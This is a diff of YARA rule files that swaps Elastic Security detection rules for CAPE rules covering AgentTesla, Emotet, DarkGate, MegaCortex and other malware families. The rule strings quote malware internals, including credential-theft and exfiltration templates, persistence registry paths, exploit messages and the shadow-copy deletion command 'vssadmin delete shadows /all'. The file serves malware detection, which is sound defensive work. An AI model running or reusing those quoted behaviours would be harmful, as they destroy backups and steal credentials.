-		$a1 = { FC 48 83 E4 F0 41 57 41 56 41 55 41 54 55 53 56 57 48 83 EC 40 48 83 EC 40 48 83 EC 40 48 89 E3 }
+		$s1 = "get_kbok" fullword ascii
+		$s2 = "get_CHoo" fullword ascii
+		$s3 = "set_passwordIsSet" fullword ascii
+		$s4 = "get_enableLog" fullword ascii
+		$s5 = "bot%telegramapi%" wide
+		$s6 = "KillTorProcess" fullword ascii
+		$s7 = "GetMozilla" ascii
+		$s8 = "torbrowser" wide
+		$s9 = "%chatid%" wide
+		$s10 = "logins" fullword wide
+		$s11 = "credential" fullword wide
+		$s12 = "AccountConfiguration+" wide
+		$s13 = "<a.+?href\\s*=\\s*([\"'])(?<href>.+?)\\1[^>]*>" fullword wide
+		$s14 = "set_Lenght" fullword ascii
+		$s15 = "get_Keys" fullword ascii
+		$s16 = "set_AllowAutoRedirect" fullword ascii
+		$s17 = "set_wtqQe" fullword ascii
+		$s18 = "set_UseShellExecute" fullword ascii
+		$s19 = "set_IsBodyHtml" fullword ascii
+		$s20 = "set_FElvMn" fullword ascii
+		$s21 = "set_RedirectStandardOutput" fullword ascii
+		$g1 = "get_Clipboard" fullword ascii
+		$g2 = "get_Keyboard" fullword ascii
+		$g3 = "get_Password" fullword ascii
+		$g4 = "get_CtrlKeyDown" fullword ascii
+		$g5 = "get_ShiftKeyDown" fullword ascii
+		$g6 = "get_AltKeyDown" fullword ascii
+		$m1 = "yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time" ascii
+		$m2 = "%image/jpg:Zone.Identifier\\tmpG.tmp%urlkey%-f \\Data\\Tor\\torrcp=%PostURL%127.0.0.1POST+%2B" ascii
+		$m3 = ">{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\\WScript.ShellRegReadg401" ascii
+		$m4 = "%startupfolder%\\%insfolder%\\%insname%/\\%insfolder%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%insregname%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunTruehttp" ascii
+		$m5 = "\\WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and (8 of ($s*) or (6 of ($s*) and 4 of ($g*)))) or (2 of ($m*))
 }
-rule ELASTIC_Linux_Trojan_Lala_51Deb1F9 : FILE MEMORY
+rule CAPE_Agentteslaxor : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Lala (Linux.Trojan.Lala)"
-		author = "Elastic Security"
-		id = "51deb1f9-2d5f-4c41-99f3-138c15c35804"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Lala.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3af65d3307fbdc2e8ce6e1358d1413ebff5eeb5dbedc051394377a4dabffa82"
-		logic_hash = "73a7ec230be9aabcc301095c9c075f839852155419bdd8d5542287f34699ab33"
+		description = "AgentTesla xor-based config decoding"
+		author = "kevoreilly"
+		id = "81eeb62f-578f-5c75-bc96-091d5727a20a"
+		date = "2024-03-22"
+		modified = "2024-03-22"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/AgentTesla.yar#L113-L123"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "54581e83e5fa13fae4bda74016b3fa1d18c92e2659f493ebe54d70fd5f77bba5"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "220bcaa4f18b9474ddd3da921e1189d17330f0eb98fa55a193127413492fb604"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 20
+		tags = "FILE"
+		cape_type = "AgentTesla Payload"
 
 	strings:
-		$a = { D9 7C F3 89 D8 83 7D FC 00 7D 02 F7 D8 8B 55 08 }
+		$decode = {06 91 06 61 20 [4] 61 D2 9C 06 17 58 0A 06 7E [4] 8E 69 FE 04 2D ?? 2A}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and any of them
 }
-rule ELASTIC_Linux_Ransomware_Sodinokibi_2883D7Cd : FILE MEMORY
+rule CAPE_Agentteslav4 : FILE
 {
 	meta:
-		description = "Detects Linux Ransomware Sodinokibi (Linux.Ransomware.Sodinokibi)"
-		author = "Elastic Security"
-		id = "2883d7cd-fd3b-47a5-9283-a40335172c62"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Sodinokibi.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a322b230a3451fd11dcfe72af4da1df07183d6aaf1ab9e062f0e6b14cf6d23cd"
-		logic_hash = "97d6b1b641c4b5b596b67a809e8e70bb0bccb9219282cd6c41bc905e2ea44c84"
+		description = "AgentTesla Payload"
+		author = "kevoreilly"
+		id = "a39109ca-84cb-527d-b9c2-d8763fa6e496"
+		date = "2024-03-22"
+		modified = "2024-03-22"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/AgentTesla.yar#L125-L138"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "0a39036f408728ab312a54ff3354453d171424f57f9a8f3b42af867be3037ca9"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "d6570a8e9358cef95388a72b2e7f747ee5092620c4f92a4b4e6c1bb277e1cb36"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "AgentTesla Payload"
+		packed = "7f8a95173e17256698324886bb138b7936b9e8c5b9ab8fffbfe01080f02f286c"
 
 	strings:
-		$a = { 85 08 FF FF FF 48 01 85 28 FF FF FF 48 8B 85 08 FF FF FF 48 29 85 20 FF }
+		$decode1 = {(07|FE 0C 01 00) (07|FE 0C 01 00) 8E 69 (17|20 01 00 00 00) 63 8F ?? 00 00 01 25 47 (06|FE 0C 00 00) (1A|20 04 00 00 00) 58 4A D2 61 D2 52}
+		$decode2 = {(07|FE 0C 01 00) (08|FE 0C 02 00) 8F ?? 00 00 01 25 47 (07|FE 0C 01 00) (11 07|FE 0C 07 00) 91 (06|FE 0C 00 00) (1A|20 04 00 00 00) 58 4A 61 D2 61 D2 52}
+		$decode3 = {(07|FE 0C 01 00) (11 07|FE 0C 07 00) 8F ?? 00 00 01 25 47 (07|FE 0C 01 00) (08|FE 0C 02 00) 91 61 D2 52}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Trojan_Xpertrat_Ce03C41D : FILE MEMORY
+rule CAPE_Agentteslav4Jit
 {
 	meta:
-		description = "Detects Windows Trojan Xpertrat (Windows.Trojan.Xpertrat)"
-		author = "Elastic Security"
-		id = "ce03c41d-d5c3-43f5-b3ca-f244f177d710"
-		date = "2021-08-06"
-		modified = "2021-10-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Xpertrat.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d7f2fddb43eb63f9246f0a4535dfcca6da2817592455d7eceaacde666cf1aaae"
-		logic_hash = "f6ff0a11f261bc75c9d0015131f177d39bb9e8e30346a75209ba8fa808ac4fcb"
+		description = "AgentTesla JIT-compiled native code"
+		author = "kevoreilly"
+		id = "a87dca44-4974-543c-9565-487ed99be2a6"
+		date = "2024-03-22"
+		modified = "2024-03-22"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/AgentTesla.yar#L140-L153"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "8f7144d2a989ce8d291af926b292f5f0f7772e707b0e49797eba13ecf91b90bc"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "8aa4336ba6909c820f1164c78453629959e28cb619fda45dbe46291f9fbcbec4"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = ""
+		cape_type = "AgentTesla Payload"
+		packed = "7f8a95173e17256698324886bb138b7936b9e8c5b9ab8fffbfe01080f02f286c"
 
 	strings:
-		$a1 = "[XpertRAT-Mutex]" wide fullword
-		$a2 = "XPERTPLUGIN" wide fullword
-		$a3 = "keylog.tmp" wide fullword
+		$decode1 = {8B 01 8B 40 3C FF 50 10 8B C8 E8 [4] 89 45 CC B8 1A 00 00 00}
+		$decode2 = {83 F8 18 75 2? 8B [2-5] D1 F8}
+		$decode3 = {8D 4C 0? 08 0F B6 01 [0-3] 0F B6 5? 04 33 C2 88 01 B8 19 00 00 00}
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Truncpx_894D60F8 : FILE MEMORY
+rule CAPE_Cerber : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Truncpx (Linux.Trojan.Truncpx)"
-		author = "Elastic Security"
-		id = "894d60f8-bea6-4b09-b8ab-526308575a01"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Truncpx.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2f09f2884fd5d3f5193bfc392656005bce6b935c12b3049ac8eb96862e4645ba"
-		logic_hash = "9bc0a7fbddac532b53c72681f349bca0370b1fe6fb2d16f539560085b3ec4be3"
+		description = "Cerber Payload"
+		author = "kevoreilly"
+		id = "edf08795-cf54-5822-8bc4-35cfba0fe8e8"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Cerber.yar#L1-L12"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "16a8f808c28d3b142c079a305aba7f553f2452e439710bf610a06f8f2924d5a3"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "440ce5902642aeef56b6989df4462d01faadc479f1362c0ed90d1011e8737bc3"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Cerber Payload"
 
 	strings:
-		$a = { B9 51 FE 88 63 A1 08 08 09 C5 1A FF D3 AB B2 28 }
+		$code1 = {33 C0 66 89 45 8? 8D 7D 8? AB AB AB AB AB [0-2] 66 AB 8D 45 8? [0-3] E8 ?? ?? 00 00}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Linux_Trojan_Connectback_Bf194C93 : FILE MEMORY
+rule CAPE_Amadey : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Connectback (Linux.Trojan.Connectback)"
-		author = "Elastic Security"
-		id = "bf194c93-92d8-4eba-99c4-326a5ea76d0d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Connectback.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6784cb86460bddf1226f71f5f5361463cbda487f813d19cd88e8a4a1eb1a417b"
-		logic_hash = "148626e05caee4a2b2542726ea4e4dab074eeab0572a65fdbd32f5d96544daf8"
+		description = "Amadey Payload"
+		author = "kevoreilly"
+		id = "b9d81aa8-5504-5b71-86c7-8c00d75479ad"
+		date = "2023-09-04"
+		modified = "2023-09-04"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Amadey.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "988258716d5296c1323303e8fe4efd7f4642c87bfdbe970fe9a3bb3f410f70a4"
+		logic_hash = "38f710b422a3644c9f0f3e80ad9ff28ef02050368c651a6cc2ce8b152b67bf48"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "6e72b14be0a0a6e42813fa82ee77d057246ccba4774897b38acf2dc30c894023"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Amadey Payload"
 
 	strings:
-		$a = { B6 0C B0 03 CD 80 85 C0 78 02 FF E1 B8 01 00 00 00 BB 01 00 }
+		$decode1 = {8B D1 B8 FF FF FF 7F D1 EA 2B C2 3B C8 76 07 BB FF FF FF 7F EB 08 8D 04 0A 3B D8 0F 42 D8}
+		$decode2 = {33 D2 8B 4D ?? 8B C7 F7 F6 8A 84 3B [4] 2A 44 0A 01 88 87 [4] 47 8B 45 ?? 8D 50 01}
+		$decode3 = {8A 04 02 88 04 0F 41 8B 7D ?? 8D 42 01 3B CB 7C}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and 2 of them
 }
-rule ELASTIC_Windows_Vulndriver_Elby_65B09743 : FILE
+rule CAPE_Hancitor : FILE
 {
 	meta:
-		description = "Name: ElbyCDIO.sys, Version: 6.0.3.2"
-		author = "Elastic Security"
-		id = "65b09743-029d-456a-b7f4-3cd055a0e0e2"
-		date = "2022-04-07"
-		modified = "2022-04-07"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Elby.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "eea53103e7a5a55dc1df79797395a2a3e96123ebd71cdd2db4b1be80e7b3f02b"
-		logic_hash = "7c7438520b238daf38d4ac91cbdee48bbfa9c85bd76208a436ce59edcfcecb80"
+		description = "Hancitor Payload"
+		author = "threathive"
+		id = "b4e9a26a-db00-5553-acc2-f35148b0ffd5"
+		date = "2020-10-20"
+		modified = "2020-10-20"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Hancitor.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "84003542a2f587b5fbd43731c4240759806f8ee46df2bd96aae4a3c09d97e41c"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		fingerprint = "88bfab229f2f2d66b4c732a6548ee6f31e6b0905eeea3b8f0f874094c1dbc98a"
-		threat_name = "Windows.VulnDriver.Elby"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
-		license = "Elastic License v2"
-		os = "windows"
+		cape_type = "Hancitor Payload"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 45 00 6C 00 62 00 79 00 43 00 44 00 49 00 4F 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x06][\x00-\x00])([\x00-\x02][\x00-\x00])([\x00-\x03][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x06][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00]))/
+		$fmt_string = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"
+		$fmt_string2 = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)"
+		$ipfy = "http://api.ipify.org"
+		$user_agent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko"
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2021_3490_D369D615 : FILE MEMORY CVE_2021_3490
+rule CAPE_Darkgate
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2021 3490 (Linux.Exploit.CVE-2021-3490)"
-		author = "Elastic Security"
-		id = "d369d615-d2a3-4f9d-b5c7-eb0fac5d43e7"
-		date = "2021-11-12"
-		modified = "2022-01-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2021_3490.yar#L1-L30"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e65ba616942fd1e893e10898d546fe54458debbc42e0d6826aff7a4bb4b2cf19"
-		logic_hash = "6fa4b36366d2c255f5ccf0e22a06c7e17df74fddd06963787dbcd713b3e8aca6"
+		description = "DarkGate Payload"
+		author = "enzok"
+		id = "ce81f452-4096-51d6-97cc-624f9fbefa86"
+		date = "2024-02-26"
+		modified = "2024-02-26"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/DarkGate.yar#L1-L16"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "25c0e77a83676c6a18445f8df0b1f7a9148de5f64eeb532f9a4f4d4652dd8191"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2021-3490"
-		fingerprint = "4f8f4c7fabe32a023f8aafb817e2c27c5a5e0e9246ddccacf99a47f2ab850014"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = ""
+		cape_type = "DarkGate Payload"
 
 	strings:
-		$c1 = "frame_dummy_init_array_entry"
-		$c2 = "leak_oob_map_ptr"
-		$c3 = "overwrite_cred"
-		$c4 = "obj_get_info_by_fd"
-		$c5 = "kernel_write_uint"
-		$c6 = "search_init_pid_ns_kstrtab"
-		$c7 = "search_init_pid_ns_ksymtab"
-		$msg1 = "failed to leak ptr to BPF map"
-		$msg2 = "preparing to overwrite creds..."
-		$msg3 = "success! enjoy r00t"
-		$msg4 = "Useage: %s <path to program to execute as root>"
-		$msg5 = "searching for init_pid_ns in ksymtab"
+		$part1 = {8B 55 ?? 8A 4D ?? 80 E1 3F C1 E1 02 8A 5D ?? 80 E3 30 81 E3 FF [3] C1 EB 04 02 CB 88 4C 10 FF FF 45 ?? 80 7D ?? 40}
+		$part2 = {8B 55 ?? 8A 4D ?? 80 E1 0F C1 E1 04 8A 5D ?? 80 E3 3C 81 E3 FF [3] C1 EB 02 02 CB 88 4C 10 FF FF 45 ?? 80 7D ?? 40}
+		$part3 = {8B 55 ?? 8A 4D ?? 80 E1 03 C1 E1 06 8A 5D ?? 80 E3 3F 02 CB 88 4C 10 FF FF 45}
+		$alphabet = "zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+="
+		$config1 = {B9 01 04 00 00 E8 [4] 8D 45}
+		$config2 = {8B 55 ?? 8D 45 ?? E8 [4] 8D 45 ?? 5? B? 06 00 00 00 B? 01 00 00 00 8B 45 ?? E8 [4] 8B 45 ?? B? [4] E8 [4] 75}
 
 	condition:
-		4 of them
+		($alphabet) and ( any of ($part*) or all of ($config*))
 }
-rule ELASTIC_Windows_Hacktool_Askcreds_34E3E3D4 : FILE MEMORY
+rule CAPE_Emotetloader : FILE
 {
 	meta:
-		description = "Detects Windows Hacktool Askcreds (Windows.Hacktool.AskCreds)"
-		author = "Elastic Security"
-		id = "34e3e3d4-7516-4e0e-b3e7-5bc84404bd08"
-		date = "2023-05-16"
-		modified = "2023-06-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_AskCreds.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d911566ca546a8546928cd0ffa838fd344b35f75a4a7e80789d20e52c7cd38d0"
+		description = "Emotet Loader"
+		author = "kevoreilly"
+		id = "aea8ff2e-bdf7-5417-a41c-93566d1dd019"
+		date = "2022-05-31"
+		modified = "2022-05-31"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/EmotetLoader.yar#L1-L12"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "410872d25ed3a89a2cba108f952d606cd1c3bf9ccc89ae6ab3377b83665c2773"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e00dd2496045d1b71119b35c30c4c010c0ad57f67691649c0f4d206f837bd05d"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "EmotetLoader Payload"
 
 	strings:
-		$a1 = "Failed to create AskCreds thread."
-		$a2 = "CredUIPromptForWindowsCredentialsW failed"
-		$a3 = "[+] Password: %ls"
+		$antihook = {8B 15 ?? ?? ?? ?? 03 15 ?? ?? ?? ?? 89 95 28 FF FF FF A1 ?? ?? ?? ?? 2D 4D 01 00 00 A3 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 3B 0D ?? ?? ?? ?? 76 26 8B 95 18 FF FF FF 8B 42 38}
 
 	condition:
-		2 of them
+		uint16(0)==0x5A4D and any of them
 }
-rule ELASTIC_Linux_Ransomware_Ragnarlocker_9F5982B8 : FILE MEMORY
+rule CAPE_Ramnit : FILE
 {
 	meta:
-		description = "Detects Linux Ransomware Ragnarlocker (Linux.Ransomware.RagnarLocker)"
-		author = "Elastic Security"
-		id = "9f5982b8-98db-42d1-b987-451d3cb7fc4b"
-		date = "2023-07-27"
-		modified = "2024-02-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_RagnarLocker.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f668f74d8808f5658153ff3e6aee8653b6324ada70a4aa2034dfa20d96875836"
-		logic_hash = "c08579dc675a709add392a0189d01e05af61034b72f451d2b024c89c1299ee6c"
+		description = "Ramnit Payload"
+		author = "kevoreilly"
+		id = "6df92055-05f6-5985-9268-b9c85e143567"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Ramnit.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "6f661f47bdf8377b0fb96f190fcb964c0ed2b43ce7ae7880f9dfce9e43837efd"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "782d9225a6060c23484a285f7492bb45f21c37597ea82e4ca309aedbb1c30223"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Ramnit Payload"
 
 	strings:
-		$a1 = ".README_TO_RESTORE"
-		$a2 = "If WE MAKE A DEAL:"
-		$a3 = "Unable to rename file from: %s to: %s"
+		$DGA = {33 D2 B9 1D F3 01 00 F7 F1 8B C8 B8 A7 41 00 00 F7 E2 8B D1 8B C8 B8 14 0B 00 00 F7 E2 2B C8 33 D2 8B C1 8B}
+		$xor_loop = {83 7D 0C 00 74 27 83 7D 14 00 74 21 8B 4D 0C 8B 7D 08 8B 75 10 BA 00 00 00 00 0B D2 75 04 8B 55 14 4A 8A 1C 32 32 1F 88 1F 47 4A E2 ED}
+		$id_string = "{%08X-%04X-%04X-%04X-%08X%04X}"
 
 	condition:
-		2 of them
+		uint16(0)==0x5A4D and all of ($*)
 }
-rule ELASTIC_Windows_Ransomware_Cuba_E64A16B1 : FILE MEMORY
+rule CAPE_Megacortex : FILE
 {
 	meta:
-		description = "Detects Windows Ransomware Cuba (Windows.Ransomware.Cuba)"
-		author = "Elastic Security"
-		id = "e64a16b1-262c-4835-bd95-4dde89dd75f4"
-		date = "2021-08-04"
-		modified = "2021-10-04"
-		reference = "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Cuba.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"
-		logic_hash = "915425ad49f1b9ebde114f92155d5969ec707304403f46d891d014b399165a4d"
+		description = "MegaCortex Payload"
+		author = "kevoreilly"
+		id = "ea3dd937-2cb1-5b0f-98b8-154aacaf8650"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/MegaCortex.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "5de1d8241260070241c91b97f18feb2a90069e3b158e863e2d9f568799c244e6"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "840f2ebe2664db9a0918acf7d408ca8060ee0d3c330ad08b36e5be7f7e2cf069"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "MegaCortex Payload"
 
 	strings:
-		$a = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
-		$HeaderCheck = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
+		$str1 = ".megac0rtx" ascii wide
+		$str2 = "vssadmin delete shadows /all" ascii
+		$sha256 = {98 2F 8A 42 91 44 37 71 CF FB C0 B5 A5 DB B5 E9}
 
 	condition:
-		any of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Ransomware_Cuba_95A98E69 : FILE MEMORY
+rule CAPE_Masslogger : FILE
 {
 	meta:
-		description = "Detects Windows Ransomware Cuba (Windows.Ransomware.Cuba)"
-		author = "Elastic Security"
-		id = "95a98e69-ce6c-40c6-a05b-2366c663ad6e"
-		date = "2021-08-04"
-		modified = "2021-10-04"
-		reference = "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis"
